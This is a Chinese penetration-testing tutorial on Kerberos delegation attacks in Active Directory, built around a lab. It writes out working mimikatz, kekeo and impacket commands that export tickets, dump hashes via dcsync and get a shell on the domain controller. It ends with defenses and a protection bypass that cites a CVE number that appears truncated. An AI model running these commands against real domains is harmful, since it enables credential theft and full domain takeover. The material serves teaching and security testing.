渗透测试的域渗透之域委派攻击

域委派攻击

教材内容

一、委派概述

1.1 什么是委派

域委派是指将域内用户的权限委派给服务账户,使得服务账户能以用户的权限在域内展开活动。简而言之,就是若用户 A 将自己的权限委派给服务账户 B ,那么服务账户 B 就能以 A 的权限去访问其他服务。

注:能够被委派的用户只能是服务账户或者机器账户。

  • 服务账户:服务器运行服务时所用的账户,用于运行服务并将其加入域内。常见的服务账户有 SQLServer、MYSQL、IIS等。
  • 机器账户:活动目录中的 Computers 组内的计算机,也被称为机器账户。
1.2 委派的类别

域委派分为三种:非约束性委派,约束性委派,基于资源的约束性委派。

二、非约束委派攻击

2.1 原理概述
2.1.1 非约束委派

非约束委派(Unconstrained Delegation, UD):服务账户可以获取被委派用户的 TGT ,并将 TGT 缓存到 lsass 进程中,从而服务账户可使用该 TGT ,模拟用户访问任意服务。

2.1.2 非约束委派流程

image-20230308163145727

  1. 域内用户A 经过Kerberos认证后访问WEB服务器上的资源或页面。
  2. WEB服务器以服务账户B向 KDC 请求用户 A 的认证票据 TGT。
  3. KDC检查服务账户B的委派属性,验证通过后下发 TGT。
  4. 服务账户B利用 TGT 向 KDC 的 TGS 申请服务票据(ST),用于访问文件服务器等功能。
  5. KDC检查委派属性和申请的服务,下发对应服务的ST。
  6. 服务账户B使用 ST 访问其他服务,以获取对应资源。
  7. 认证通过,获取到对应资源。
  8. Web服务器返回资源给用户A。
2.2 复现
2.2.3 实验环境

DC(Windows Server 2008 R2):192.168.219.151 [域控]

Server(Windows7):192.168.219.152 [普通域服务器]

域:woniuxy.com

域管理员:woniuxy\administrator p-0p-0p-0

Sever的本地管理员:server\administrator o-0o-0o-0

普通域用户:web p-0p-0p-0

  • 机器账户的非约束性委派设置

    机器账户 server 的属性中设置委派属性,勾选“信任此计算机来委派任何服务…”,如下:

    image-20230816225335120

  • 服务账户的非约束委派设置

    普通域用户无法进行委派,我们可以创建一个普通域用户,而后将其修改为服务账户,通过添加ServicePrincipalNames 属性进行修改。

      setspn -A https/web lisi
    

    image-20230816225452406

    而后再次查看对应web用户属性,即可发现委派选项,进行如下设置即可。

    image-20230816225738468

  • 查看域内非约束性委派的机器用户

      AdFind.exe -b "DC=woniuxy,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
    

    image-20230816225913182

    (注:域内域控机器账户默认设置了非约束委派)

  • 查看域内非约束性委派的服务账户

      AdFind.exe -b "DC=woniuxy,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
    

    image-20230816230025500

2.2.4 实验过程

以下展示一种基本的利用方式。诱使域管理员访问机器,当域管理员使用net use等远程访问命令访问对应设置了非约束性委派的主机,那么在那台被访问的主机上可以抓取到域控管理员的 TGT。

  1. 模拟域管理员登录或远程访问其c盘。

     net use \\server /user:administrator p-0p-0p-0 
     dir \\server\c$
    

    image-20230308121516027

  2. 使用server的本地管理员登录server(Windows server 2008),使用 mimikatz 导出票据。

     privilege::debug 
     sekurlsa::tickets /export
    

    image-20230308121630994

    在当前文件夹下查看到域管理员的票据,如下:

    image-20230308121459872

  3. 导入票据前,访问 dc 的 c 盘,提示登录失败

    image-20230308131349794

  4. 使用 mimikatz 导入票据

     kerberos::ptt [0;21a1f1]-2-0-60a10000-Administrator@krbtgt-WONIUXY.COM.kirbi
    

    image-20230308132224124

    再次访问,发现成功访问dc的c盘。

    image-20230308131330647

  5. 使用mimikatz的dcsync功能导出administrator的NTLM hash值

    dcsync 是 mimikatz的一个功能,利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口模仿一个域控制器向另一个域控制器发起数据同步请求,能够用来导出域内所有用户的hash。

     lsadump::dcsync /domain:woniuxy.com /user:Administrator
    

    image-20230308140528564

    能获取到管理员的NTLM值,在CS中直接可以获取域控权限,后续操作均一致。

  6. 使用 impacket 的 wmiexec.py 登录dc。

    (若没有对应脚本可自行下载,https://github.com/fortra/impacket/tree/master/examples)

     python3 /usr/local/bin/wmiexec.py -hashes 1111:9099d68602a60f007c227c4fa95fada6 Administrator@192.168.219.151
    

    image-20230308135419067

三、约束委派攻击

3.1 原理概述
3.1.1 约束委派

约束委派(Constrained Delegation, CD):由于非约束委派的不安全性,微软在Windows Server 2003中发布了约束性委派。对于约束性委派(Constrained Delegation),即 Kerberos 的两个扩展子协议 S4u2self (Service for User to Self) 和 S4u2Proxy (Service for User to Proxy),服务账户只能获取用户的 ST (Service Ticket),从而只能模拟用户访问特定的服务。

配置了约束性委派的账户,其两个属性会被设置:

  • 账户userAccountControl属性会被设置为TRUSTED_TO_AUTH_FOR_DELEGATION标志位,其值为16781312
  • 账户的msDS-AllowedToDelegateTo属性,添加允许委派的服务

约束委派分为两种:

  • 仅使用Kerberos,无法协议转换
  • 使用任何身份验证协议
3.1.2 S4u2self 与 S4U2proxy 协议

S4u2self :允许服务代表任意用户请求访问自身服务的 ST 服务票据。

S4U2proxy:允许服务在已取得可转发的 ST 服务票据下代表任意用户获取另一个服务的 ST 服务票据。约束委派限制了S4U2proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务。

简单来说S4u2self协议使用用户的 TGT 向 KDC 请求用户的可转发的服务票据 ST1,而后 S4U2proxy 协议用这张 ST1 去发起请求用于访问服务器的服务票据 ST2 。

3.1.3 攻击原理

约束性委派攻击的关键就是获得可转发的服务票据 ST,获取根据约束性委派的执行过程可知,只要控制配置约束性委派服务的机器,并获得了机器账户的密码或Hash等凭证,那么就可以劫持这台主机的kerberos 请求过程,最终获得任意用户权限的 ticket。

3.2 复现
3.2.3 实验环境

DC(Windows Server 2008 R2):192.168.219.151 [域控]

Server(Windows 7):192.168.219.152 [普通域服务器]

域:woniuxy.com

域管理员:woniuxy\administrator p-0p-0p-0

Sever的本地管理员:server\administrator o-0o-0o-0

普通域用户(已添加SPN属性):web p-0p-0p-0

  • 设置机器账户的约束性委派,配置此机器账户提供 dc 的 cifs 服务的委派凭据。

    (服务账户同理)

    image-20230816230152242

  • 使用 ADFind 查询配置了约束委派机器账户(主机)

      AdFind.exe -b "DC=woniuxy,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
    

    image-20230309090449923

  • 使用 ADFind 查询配置了约束委派服务账户

      AdFind.exe -b "DC=woniuxy,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
    

    image-20230309090839148

3.2.3 获取机器账户的票据进行利用

利用条件:

  • 获取一台域内服务器或主机的本地管理员权限
  • 该台域内主机的机器账户配置了约束性委派
  1. 登录域内服务器(Server)的本地管理员账户,在具有管理员权限的cmd中运行mimikatz,并导出票据。

     mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
    

    image-20230309083617215

    导出结果如下,找到对应机器账户 server 的票据 [0;3e7]-2-1-40e10000-SERVER$@krbtgt-WONIUXY.COM.kirbi 。

    image-20230309083842333

  2. 使用kekeo.exe工具申请服务票据(通过S4U2Proxy协议)。

    kekeo是一款开源的票据传递工具,kekeo指定域名、用户名、NTLM哈希来生成对应票据。这里我们通过S4U2Proxy协议获取域管理员的访问域控的cifs服务权限的票据。

     kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-1-40e10000-SERVER$@krbtgt-WONIUXY.COM.kirbi /user:Administrator@woniuxy.com /service:cifs/dc.woniuxy.com" "exit"
    

    image-20230309083708181

    获取到对应的票据,我们需要的是 cifs 的票据(第一个)。

    image-20230309084029065

  3. 导入票据前,访问 dc 的 c 盘,失败。

  4. 使用mimikatz导入对应票据。

     mimikatz.exe "kerberos::ptt TGS_Administrator@woniuxy.com@WONIUXY.COM_cifs~dc.woniuxy.com@WONIUXY.COM.kirbi" "exit"
    

    image-20230309085124883

  5. 再次访问 dc 的 c 盘,成功获取。

     dir \\dc\c$
    

    image-20230309085137837

3.2.3 获取机器账户的 Hash 进行利用
  1. 登录域内服务器(Server)的本地管理员账户,在具有管理员权限的cmd中运行mimikatz,并导出票据。

     mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
    

    image-20230309085301667

  2. 通过获取到的机器账户的NTLM hash ,在 kali 上使用 impacket 工具包的getST.py进行域管理员票据的获取。

    (若没有对应脚本可自行下载,https://github.com/fortra/impacket/tree/master/examples)

     python3 /usr/local/bin/getST.py -dc-ip 192.168.219.151 -spn CIFS/dc.woniuxy.com -impersonate administrator woniuxy.com/SERVER$ -hashes :332abdb433c67c20717f4271dec6e68b
    

    image-20230309085508338

  3. 在 /etc/hosts 中添加对应 dc 域名的记录,因为后续利用使用的工具需要用域名的方式访问。

     192.168.219.151 dc.woniuxy.com
    
  4. 通过获取到的域管理员的票据(ST) ,在 kali 上使用 impacket 工具包的wmiexec.py进行域控远程登录。

     KRB5CCNAME=administrator.ccache python3 /usr/local/bin/wmiexec.py -k woniuxy.com/administrator@dc.woniuxy.com -dc-ip 192.168.219.151
    

    image-20230309090158784

四、 防御与绕过

4.1 防御措施
  • 将域管理员设置为敏感账户,不能被委派。
  • 若要设置委派,不设置非约束性委派而是设置约束性委派。
  • 可以将敏感用户添加至“Protected Users”组中,该组用户不允许被委派。
4.2 敏感账户设置绕过方式

对域委派安全功能绕过主要是通过Kerberos Bronze Bit攻击(CVE-2020-1704),由于服务可以解密自身的票据并且forwardable值不在PAC中,在使用时,forwardable值不受到检查,进而实现绕过目的。

先将administrator设置为敏感账户。

image-20230309133958737

此时进行委派票据获取是会报错,如下:

image-20230309133841040

我们可以 getST.py 命令中加上“ -force-forwardable ”参数,即可使用对应漏洞进行绕过。

image-20230309134754460

该漏洞可以更新微软补丁程序(KB4598347)进行修复。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值